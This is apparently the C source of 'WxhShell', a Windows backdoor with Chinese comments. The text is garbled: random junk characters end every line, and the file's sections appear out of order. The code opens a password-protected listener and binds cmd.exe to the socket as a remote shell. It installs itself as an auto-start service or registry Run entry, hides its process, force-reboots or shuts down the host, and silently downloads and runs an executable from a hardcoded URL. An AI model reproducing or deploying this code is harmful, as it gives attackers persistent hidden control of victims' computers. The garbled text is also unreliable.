  case 'd': { !4z"a@$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jge;/f!i  
    if(Boot(SHUTDOWN)) W BiBtU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g?@(+\W  
    else { Z.R^@@RqJ  
    closesocket(wsh); <,cDEN7  
    ExitThread(0); 8@$QN4^u^  
    } VJ1 `&  
    break; ruE.0VI@  
    } )O7Mfr  
  // 获取shell y5R6/*;N.  
  case 's': { hUl FP  
    CmdShell(wsh); g" M1HxlV  
    closesocket(wsh); sk],_l<  
    ExitThread(0); C2`END;  
    break; eN jC.w9  
  } 9CL&tpqv f  
  // 退出 ?NHh=H\7u  
  case 'x': { 7x1jpQ -  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zxsnrn;|  
    CloseIt(wsh); \< z{ @  
    break; ]q?<fEG2<  
    } {=R=\Y?r&  
  // 离开 OK2wxf  
  case 'q': { e|kYu[^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v1)jZ.:  
    closesocket(wsh); :W'1Q2  
    WSACleanup(); ^rxXAc[  
    exit(1); LL,~&5{  
    break; cxmr|- ^  
        } 4`*jF'N[  
  } bTn-Pg){  
  } K, 35*  
EIf~>AI  
  // 提示信息 ("9)=x*5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o\2#}eie  
} Ajq<=y`NzV  
  } )I5f`r=Ry  
a{)"KAP  
  return; ^Nc\D7( l  
} isDr|g$S  
sjzZl*GSy  
// shell模块句柄  kU#$  
int CmdShell(SOCKET sock) P|64wq{B8  
{ 5$O@+W!?@  
STARTUPINFO si; u37+B  
ZeroMemory(&si,sizeof(si)); ;xj^*b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KD#ip3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \GPWC}V\s  
PROCESS_INFORMATION ProcessInfo; m$$U%=r>@  
char cmdline[]="cmd"; naAZR*(A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \s)j0F)  
  return 0; 4ci @$nL1  
} ;,IGO7R  
o!j? )0d  
// 自身启动模式 HF0J>Clq  
int StartFromService(void) cZHlW|$R  
{ K@?S0KMK  
typedef struct xEZvCwsb  
{ Wk$%0xZ7  
  DWORD ExitStatus; jI y'mGaG  
  DWORD PebBaseAddress; Q4Cw{2r  
  DWORD AffinityMask; `VS/ Xyp  
  DWORD BasePriority; 30B! hj$C  
  ULONG UniqueProcessId; =k&'ft  
  ULONG InheritedFromUniqueProcessId; , {]>U'-  
}   PROCESS_BASIC_INFORMATION; ThFI=K  
R2r0'Yx  
PROCNTQSIP NtQueryInformationProcess; q`qbaX\J3  
=NlAGzv!w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RJSNniYr7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /dtFB5Z"w  
a}=)b#T`  
  HANDLE             hProcess; /oh[ Nu1D  
  PROCESS_BASIC_INFORMATION pbi; hL&z"_`  
jg2>=}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8vchLl#  
  if(NULL == hInst ) return 0; (Kx3:gs  
  5)mn  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )2:d8J\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [,l BY-Kz+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ! 5]/2  
]Wfnpqc^  
  if (!NtQueryInformationProcess) return 0; X4 xnr^  
`@eQL[Z9x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [x9eamJ,H  
  if(!hProcess) return 0; 539[,jH  
0 5 `x$f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?L7z\b"_~  
q?JP\_o:  
  CloseHandle(hProcess); Xi$uK-AHpj  
z+Y0Zh";/#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +AXui|mn  
if(hProcess==NULL) return 0; ]BX|G`CCc  
I)n%aTfo8  
HMODULE hMod; !WAbO(l  
char procName[255]; lKwIlp  
unsigned long cbNeeded; OBu$T&  
'Kc;~a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z!?xz  
$1/yc#w u  
  CloseHandle(hProcess); |"\A5v|1  
4fp}`U  
if(strstr(procName,"services")) return 1; // 以服务启动 @7.Ews5Mke  
y1@{(CDp"  
  return 0; // 注册表启动 I+ydVj(Op  
} 'V } -0  
3-z57f,}6~  
// 主模块 o5A@U0c_  
int StartWxhshell(LPSTR lpCmdLine) T&cf6soo  
{ 1XL^Zhr  
  SOCKET wsl; MT}9T  
BOOL val=TRUE; a$"3T  
  int port=0;  w8$8P  
  struct sockaddr_in door; qK,rT*5=  
Me2%X>;  
  if(wscfg.ws_autoins) Install(); {0QNqjue  
mM!Gomp  
port=atoi(lpCmdLine); 4Bs '5@  
kp LDK81I  
if(port<=0) port=wscfg.ws_port; tVFl`Xr   
lfK sqe"  
  WSADATA data; 3hGYNlQ^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (jtrQob  
<Y9e n!3\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GK~uoz:^O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t#=W'HyW8  
  door.sin_family = AF_INET; |+f@w/+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F7x]BeTM  
  door.sin_port = htons(port); SwXVa/9a"  
<D%.'=%pZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PsaKzAg?  
closesocket(wsl); :)p\a1I[*  
return 1; 4*P#3 B'@V  
} 2V:`':  
!%?O`+r  
  if(listen(wsl,2) == INVALID_SOCKET) { *3d+ !#;rG  
closesocket(wsl); +d>?aqI\A  
return 1; ^|hlY ]Ev  
} WB K6Ug  
  Wxhshell(wsl); @j=:V!g2O  
  WSACleanup(); _h6SW2:z!E  
"A6m-xE~  
return 0; QVJq%P  
+0_e a~{  
} oIrO%v:'!  
lK 5@qG#  
// 以NT服务方式启动 Qzt'ZK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~}pc&jz>q  
{ Y 3h`uLQ  
DWORD   status = 0; kUGOkSP8[  
  DWORD   specificError = 0xfffffff; qILb>#  
C3)*Mn3%P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~G,_4}#"pM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w;W# 'pE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]l>LU2 sx  
  serviceStatus.dwWin32ExitCode     = 0; %PM&`c98z7  
  serviceStatus.dwServiceSpecificExitCode = 0; "ngULpb{R  
  serviceStatus.dwCheckPoint       = 0; JlR$"GU  
  serviceStatus.dwWaitHint       = 0; ~@=(#tO.  
n+MWny  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %;_94!(hC  
  if (hServiceStatusHandle==0) return; Xdh2  
cD6S;PSg  
status = GetLastError(); VK286[[fv  
  if (status!=NO_ERROR) @QteC@k  
{ 0v+ -yEkw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l0 =[MXM4  
    serviceStatus.dwCheckPoint       = 0; }@x!r=O)I  
    serviceStatus.dwWaitHint       = 0; mX 3p   
    serviceStatus.dwWin32ExitCode     = status; >m]LV}">O  
    serviceStatus.dwServiceSpecificExitCode = specificError; J?{@pA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _NefzZWUJ  
    return; v;soJlxF~  
  } jaw&[f 7  
];xDXQd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1r$*8 |p  
  serviceStatus.dwCheckPoint       = 0; bd]9 kRq1K  
  serviceStatus.dwWaitHint       = 0; 4>A|2+K\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;3x*pjLG:Q  
} @<NuuYQ&  
Xii>?sA5Z"  
// 处理NT服务事件,比如:启动、停止 y+3+iT@i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E75/EQ5p]p  
{ 3ew4QPT'  
switch(fdwControl) [?%q,>F  
{ >)F "lR:o  
case SERVICE_CONTROL_STOP: zD)/QFILy  
  serviceStatus.dwWin32ExitCode = 0; Hvb8+"?~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KpA1Ac)T  
  serviceStatus.dwCheckPoint   = 0; n{u\t+f  
  serviceStatus.dwWaitHint     = 0; &AN1xcx\  
  { B (Ps/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cbN;Kv?ak}  
  } *Nm$b+  
  return; ,qx^D  
case SERVICE_CONTROL_PAUSE: T/a=z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4-~Z{#-  
  break; &rGB58  
case SERVICE_CONTROL_CONTINUE: vJLGy]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KL3Z(  
  break; ? D _kQl  
case SERVICE_CONTROL_INTERROGATE: w A\5-C7 j  
  break; z/u^  
}; 8N%nG( 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W1 k]P.  
} )adV`V%=>  
`^52I kM)  
// 标准应用程序主函数 [Ur\^wS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y{D%v  
{ ~w a6S?  
Q F)\\ D[  
// 获取操作系统版本 @/F61Ut  
OsIsNt=GetOsVer(); K>dB{w#gS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /a'1 W/^2  
N0H=;CIQ  
  // 从命令行安装 V"m S$MN  
  if(strpbrk(lpCmdLine,"iI")) Install(); &\1n=y  
#l ZK_N|1x  
  // 下载执行文件 N+'j on}U  
if(wscfg.ws_downexe) { _ Ao$)Gu)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "$XX4w M  
  WinExec(wscfg.ws_filenam,SW_HIDE); sxsb)a  
} zw[' hqW  
f. "\~  
if(!OsIsNt) { +? h}e  
// 如果时win9x,隐藏进程并且设置为注册表启动 ];Z6=9n  
HideProc(); kk %32(By  
StartWxhshell(lpCmdLine); CJ* D  
} /M_$4O;*@  
else $c9-Q+pZ  
  if(StartFromService()) XEgJ7h_  
  // 以服务方式启动 VGmvfhf#"  
  StartServiceCtrlDispatcher(DispatchTable); 6|zhqb|s  
else 5BJ E  
  // 普通方式启动 ^Jp,&  
  StartWxhshell(lpCmdLine); )V\@N*L`ik  
TWzLJ63*  
return 0; 1h&`mqY)L.  
} IdQ./@?  
X/yq<_ g  
p&h?p\IF  
1~*1W4};F8  
=========================================== Zge(UhZ  
H+4j.eVzZU  
G 5;6q  
?@ F2Kv  
x;17}KV  
q0iJy@?A  
" maXg(Lu  
d'RvpoM  
#include <stdio.h> D7;9D*o\  
#include <string.h> $@D a|d4  
#include <windows.h> 64<;6*  
#include <winsock2.h> 8NWo)y49H  
#include <winsvc.h> pFvu,Q"  
#include <urlmon.h> X H-_tvB  
HeOdCr-PN  
#pragma comment (lib, "Ws2_32.lib") ){*+s RBW  
#pragma comment (lib, "urlmon.lib") c2y,zq|H  
r 3W3;L   
#define MAX_USER   100 // 最大客户端连接数 4f([EV[6dK  
#define BUF_SOCK   200 // sock buffer lH}KFFbp  
#define KEY_BUFF   255 // 输入 buffer c-sjYJXKM*  
,~1"50 Hp@  
#define REBOOT     0   // 重启 d9K8[Q5^3  
#define SHUTDOWN   1   // 关机 `7CK;NeT  
[d: u(  
#define DEF_PORT   5000 // 监听端口 -L1785pB85  
*'?7OL  
#define REG_LEN     16   // 注册表键长度 +(W1x C0  
#define SVC_LEN     80   // NT服务名长度 FJ:^pROpm  
w&q[%(G_  
// 从dll定义API !sb r!Qt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); WMSJU/-P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JZ:@iI5>+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ao\xse{E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); " 8xAe0-4  
kAki 9a(=!  
// wxhshell配置信息 X\AH^I6S  
struct WSCFG { G0E5Y;YIN$  
  int ws_port;         // 监听端口 Bqq=2lj  
  char ws_passstr[REG_LEN]; // 口令 an"&'D}U  
  int ws_autoins;       // 安装标记, 1=yes 0=no *MP.YI:h  
  char ws_regname[REG_LEN]; // 注册表键名 2 T!Tiu  
  char ws_svcname[REG_LEN]; // 服务名  c0oHE8@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 TSlB.pw%v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #Wk=y?sn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e-nA>v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @^P^- B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" CKYg!\g(:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CM;b_E)9)f  
=p+y$  
}; !%iHJwS#  
E TT46%Y  
// default Wxhshell configuration Ld4U  
struct WSCFG wscfg={DEF_PORT, UB/> Ro  
    "xuhuanlingzhe", ZJYn[\]  
    1, Qp>leEs]+6  
    "Wxhshell", CU'JvVe3  
    "Wxhshell", l~c[}wv  
            "WxhShell Service", Zxa.x?:?n  
    "Wrsky Windows CmdShell Service", t`Kbm''d[  
    "Please Input Your Password: ", 6b2UPI7m~  
  1, szI7 I$Qb  
  "http://www.wrsky.com/wxhshell.exe", M/zO|-j&  
  "Wxhshell.exe" U2q6^z4l  
    }; Xz$4cI#n:  
 {>]\<  
// 消息定义模块 p3I"LY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3JCo!n0   
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]&cnc8tC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :xd;=;q5  
char *msg_ws_ext="\n\rExit."; . %RM8  
char *msg_ws_end="\n\rQuit."; 1Kg0y71"  
char *msg_ws_boot="\n\rReboot..."; f7Gn$E|/r;  
char *msg_ws_poff="\n\rShutdown..."; d1b] +AG4  
char *msg_ws_down="\n\rSave to "; ;cor\ R  
=!q% 1mP  
char *msg_ws_err="\n\rErr!"; |>.Q U3  
char *msg_ws_ok="\n\rOK!"; Cp8=8N(Xb  
Nwvlv{k'  
char ExeFile[MAX_PATH]; RB5SK#z  
int nUser = 0; v pI9TG  
HANDLE handles[MAX_USER]; Dw-d`8*  
int OsIsNt; IG781:,/  
!wAT`0<94F  
SERVICE_STATUS       serviceStatus; |=?#Xbxz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NAbVH{*\U  
dbI>\khI  
// 函数声明 oQ!M+sRmF  
int Install(void); :E:e ^$p  
int Uninstall(void); mk-{@$QJb  
int DownloadFile(char *sURL, SOCKET wsh); zWHq4@K  
int Boot(int flag); (]|h6aI'}  
void HideProc(void); JJ?{V:  
int GetOsVer(void); Ei;tfB  
int Wxhshell(SOCKET wsl); C|'DKT4M&  
void TalkWithClient(void *cs); ([>ecS@eO  
int CmdShell(SOCKET sock); hXW` n*Zw  
int StartFromService(void); o/5-T4  
int StartWxhshell(LPSTR lpCmdLine); ARk(\,h  
']_2@<XW)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rQ;w{8J\t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5/meH[R\M  
HA6tGZP*L  
// 数据结构和表定义 i "8mrWb  
SERVICE_TABLE_ENTRY DispatchTable[] = [>=!$>>;8  
{ _plK(g-1J%  
{wscfg.ws_svcname, NTServiceMain}, -dntV=  
{NULL, NULL} O9=/\Kc  
}; ~+q1g[6  
^D yw(>9  
// 自我安装 {e|qQ4~h  
int Install(void) |VfEp  
{ 'h>uR|  
  char svExeFile[MAX_PATH]; x 7j#@C  
  HKEY key; %)ho<z:7U  
  strcpy(svExeFile,ExeFile); K,b M9>}  
r*X,]\V0x  
// 如果是win9x系统,修改注册表设为自启动  Z>[7#;;  
if(!OsIsNt) { }X(&QZ7i`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +mQ5\14#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =L6#=7hcl  
  RegCloseKey(key); m'4f'tbN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rzjVUPdnh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c_lHj#A(l  
  RegCloseKey(key); )>volP  
  return 0; lj4Fg*/Yn  
    } Zt=|q$"  
  } 5]xuU.w'  
} )uPJ? 2S9  
else { S-Uod y  
@"@a70WHk  
// 如果是NT以上系统,安装为系统服务 .3!Wr*o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IqOg{#sm  
if (schSCManager!=0) ]WT@&F  
{ u9lZHh#V-  
  SC_HANDLE schService = CreateService Fq9YhR  
  ( Y.:R-|W  
  schSCManager, h2l;xt  
  wscfg.ws_svcname, $ Y/9SD  
  wscfg.ws_svcdisp, 0;Z|:\P\=  
  SERVICE_ALL_ACCESS, <izQ]\kL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /{M<FVXK+|  
  SERVICE_AUTO_START, YQVo7"`%  
  SERVICE_ERROR_NORMAL, &|v)   
  svExeFile, p/H.bG!z  
  NULL, ?gH[la  
  NULL, tUn >=>cWP  
  NULL, Z!p\=M,%  
  NULL, "wUIsuG/p  
  NULL pYr"3BwG  
  ); J<) qw  
  if (schService!=0) tbrU>KCBD  
  { tgRj8 @  
  CloseServiceHandle(schService); jhu &Wh  
  CloseServiceHandle(schSCManager); "c^!LV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c`6c)11K  
  strcat(svExeFile,wscfg.ws_svcname); %X}ZX|{O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?h<4trYcv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @W,jy$U  
  RegCloseKey(key); /l$x}  
  return 0; BK$y>= `  
    } 'Zx5+rM${}  
  } _e%D/}  
  CloseServiceHandle(schSCManager); w.qtSW6M+  
} b)w cGBS  
} 2u{~35  
w)btv{*  
return 1; n<?U6~F&~  
} qxL\G &~  
7 qKz_O  
// 自我卸载 !_I1=yi  
int Uninstall(void) spK8^sh  
{ I-#H+\S  
  HKEY key; F(")ga$r  
hlVye&;b8  
if(!OsIsNt) { QM$UxWo-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZOK!SBn^?  
  RegDeleteValue(key,wscfg.ws_regname); 5_yQI D%Sq  
  RegCloseKey(key); TnW`#.f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JWVV?~1  
  RegDeleteValue(key,wscfg.ws_regname); ep>!jMhJa  
  RegCloseKey(key); wj[yo S  
  return 0; _]:b@gXUw  
  } _nGx[1G( 5  
} E)b$;'  
} R2bqhSlF  
else { bM W|:rn  
Im]@#X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]8G 'R-8}  
if (schSCManager!=0) }\ _.Mg^y  
{ yOM/UdWq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [8V;Q  
  if (schService!=0) ~ |G&cg  
  { _3IT3mb2n  
  if(DeleteService(schService)!=0) { "be\%W+<  
  CloseServiceHandle(schService); 'nmGHorp  
  CloseServiceHandle(schSCManager); 4.A^5J'W  
  return 0; q^X7x_  
  } 7>hcvML  
  CloseServiceHandle(schService); unDW2#GX  
  } 3:nhZN/95T  
  CloseServiceHandle(schSCManager); ?0qVyK_1  
} BR|!ya+_2  
} S"bN9?;#u  
nz 10/nw  
return 1; R'c*CLaiE  
} q~{) {t;  
c r=Q39{  
// 从指定url下载文件 gC7!cn  
int DownloadFile(char *sURL, SOCKET wsh) `Fqth^RK?p  
{ G':3U  
  HRESULT hr; 5D s[?  
char seps[]= "/"; .:_'l)-  
char *token;  3@Ndn  
char *file; nnlj#  
char myURL[MAX_PATH]; Z[O hZ 9  
char myFILE[MAX_PATH]; zCs34=3 D[  
HcRw9,I'  
strcpy(myURL,sURL); dCx63rF`G  
  token=strtok(myURL,seps); uYW4$6S 3  
  while(token!=NULL) >`QBN1 Y  
  { ,GOIg|51  
    file=token; rFzNdiY  
  token=strtok(NULL,seps); W]4Z4&  
  } zDF Nx:h  
+%5L2/n7  
GetCurrentDirectory(MAX_PATH,myFILE); <H64L*,5'7  
strcat(myFILE, "\\"); :8S;34Y;  
strcat(myFILE, file); 74e=zW?  
  send(wsh,myFILE,strlen(myFILE),0); 0nc(2Bi  
send(wsh,"...",3,0); hB [bth  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vNi;)"&*  
  if(hr==S_OK) ^}  {r@F  
return 0;  lKbWQ>  
else )x-b+SC  
return 1; s,R:D).  
T CT8OU|  
} \((MoQ9Qk  
=By@%ioIGG  
// 系统电源模块 n"iS[uj,  
int Boot(int flag) *%uzLW0  
{ U~ X  
  HANDLE hToken; E}wT5t;u  
  TOKEN_PRIVILEGES tkp; C-pR$WM:HN  
DJGafX^  
  if(OsIsNt) { 9.)z]Gav  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zC50 @S3|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?NE/ }?a  
    tkp.PrivilegeCount = 1; RO3LZBL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T;M ;c. U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iXWzIb}CJ-  
if(flag==REBOOT) { Om.%K>V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /gAT@Vx  
  return 0; ^f[6NYS?  
} P9!awLM-  
else { he|Q (?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D:`Q\za  
  return 0; Mi]^wCF  
} $(}rTm  
  } K6{wM  
  else { #1dVp!?3T  
if(flag==REBOOT) { tSy 9v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |JkfAnrN$I  
  return 0; %9YY \a {  
} "#)|WVa=BM  
else { /xX7:U b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f@}> :x  
  return 0; Z?P^Y%ls  
} jCY~Wc  
} +~n:*\  
<NZPLo F  
return 1; #7;?Ls  
} e5mu-  
<^s31.&p  
// win9x进程隐藏模块 $yU 5WEX  
void HideProc(void) *+v*VH  
{ I<}% L V  
lIyMNw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9L$OSy|  
  if ( hKernel != NULL ) tR51Pw  
  { GR|\OJ<2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~d7t\S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2l?^\9&  
    FreeLibrary(hKernel); iM!Ya!  
  } b}TvQ+W]2  
v4e4,Nt  
return;  Z 9:  
} -k + jMH  
; gBR~W  
// 获取操作系统版本 `E|i8M3g  
int GetOsVer(void) 4eWv).  
{ gWgp:;Me  
  OSVERSIONINFO winfo; 1;[KBYUH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +cfcr*  
  GetVersionEx(&winfo); 8SpG/gl"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \W=3P[gb  
  return 1; D%+yp  
  else U/'l"N[  
  return 0; G^B> C  
} RB4n>&Y  
k86TlQRh  
// 客户端句柄模块 7"eK<qJ  
int Wxhshell(SOCKET wsl) 89>}`:xS^  
{ af<h2 r  
  SOCKET wsh; np2&W'C/i  
  struct sockaddr_in client; N]F RL\K  
  DWORD myID; }$i"t8"s  
mr7Oi `dE  
  while(nUser<MAX_USER) D>k(#vYKB  
{ XQ~Xls%]   
  int nSize=sizeof(client); z~2{`pET  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W=HvMD  
  if(wsh==INVALID_SOCKET) return 1; XaCvBQ  
jyD~ER}J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CHTK.%AQH!  
if(handles[nUser]==0) R'sNMWM  
  closesocket(wsh); .@): Uh  
else J4ZHE\  
  nUser++; j7)mC4o:%  
  } N!ihj:,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LEM%B??&5z  
a4UwhbH  
  return 0; ='jT 5Mg  
} j^=Eu r/  
MWme3u)D  
// 关闭 socket %}(` ?  
void CloseIt(SOCKET wsh) JPn)Op6  
{ x^@oY5}cr  
closesocket(wsh); D\G.p |9=  
nUser--; /a*){JQ5j  
ExitThread(0); F.U@8lr  
} Gtaa^mnxD  
j4,y+ 9U  
// 客户端请求句柄 !Ew ff|v"  
void TalkWithClient(void *cs) p-I J':W  
{ XB7*S*"!  
46]BRL2 G  
  SOCKET wsh=(SOCKET)cs; Iuz_u2"C  
  char pwd[SVC_LEN]; ~*bfS}F8I  
  char cmd[KEY_BUFF]; ^"O>EY':  
char chr[1]; ^R:&c;&,  
int i,j; 7tWC<#  
W8S sv  
  while (nUser < MAX_USER) { c#TY3Z|  
PS" rXaY  
if(wscfg.ws_passstr) { ?o[h$7` o6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $F^VtCx2&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F%<*a,m6g  
  //ZeroMemory(pwd,KEY_BUFF); !`%j#bv  
      i=0; XA<h,ONE?  
  while(i<SVC_LEN) { oi|N8a2R  
y5F+~z }{  
  // 设置超时 :+6W%B  
  fd_set FdRead; q83^?0WD  
  struct timeval TimeOut; ]=t}8H  
  FD_ZERO(&FdRead); u `/V1  
  FD_SET(wsh,&FdRead); UhqTn$=fb  
  TimeOut.tv_sec=8; 27 XM&ZrZ  
  TimeOut.tv_usec=0; q;bw }4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ea S[W?u}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2!0tD+B  
^+Nd\tp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \t)va:y  
  pwd=chr[0]; CPZ,sWg5  
  if(chr[0]==0xd || chr[0]==0xa) { [L X/O@  
  pwd=0; zoi0Z  
  break; ke8g tbm  
  } -XXsob}/8  
  i++; .KKecdd?=  
    } r QiRhp  
x)=l4A\  
  // 如果是非法用户,关闭 socket Eo2`Vr9g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n4!RGq.}  
} .iy>N/u  
3v\P6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %JrZMs>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }| MX=:@*  
D&F{0  
while(1) { N#Rb8&G)b  
EA(4xj&:U  
  ZeroMemory(cmd,KEY_BUFF); w[d8#U   
=V|jd'iwx  
      // 自动支持客户端 telnet标准   <&Xl b0  
  j=0; )Xg5=zn$  
  while(j<KEY_BUFF) { UH-873AK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rmzzbLTu  
  cmd[j]=chr[0]; H2%Qu<Kg2  
  if(chr[0]==0xa || chr[0]==0xd) { *V hEl7  
  cmd[j]=0; OY}FtG y  
  break; C0[U}Y/r2  
  } s1Acl\l-uF  
  j++; HhQ0>  
    } by'KJxl[  
beo(7,=&  
  // 下载文件 :=y5713  
  if(strstr(cmd,"http://")) { zEU[u7%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wp&G]/4m  
  if(DownloadFile(cmd,wsh)) [-*&ZYp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d^A]]Xg  
  else {)"[_<  
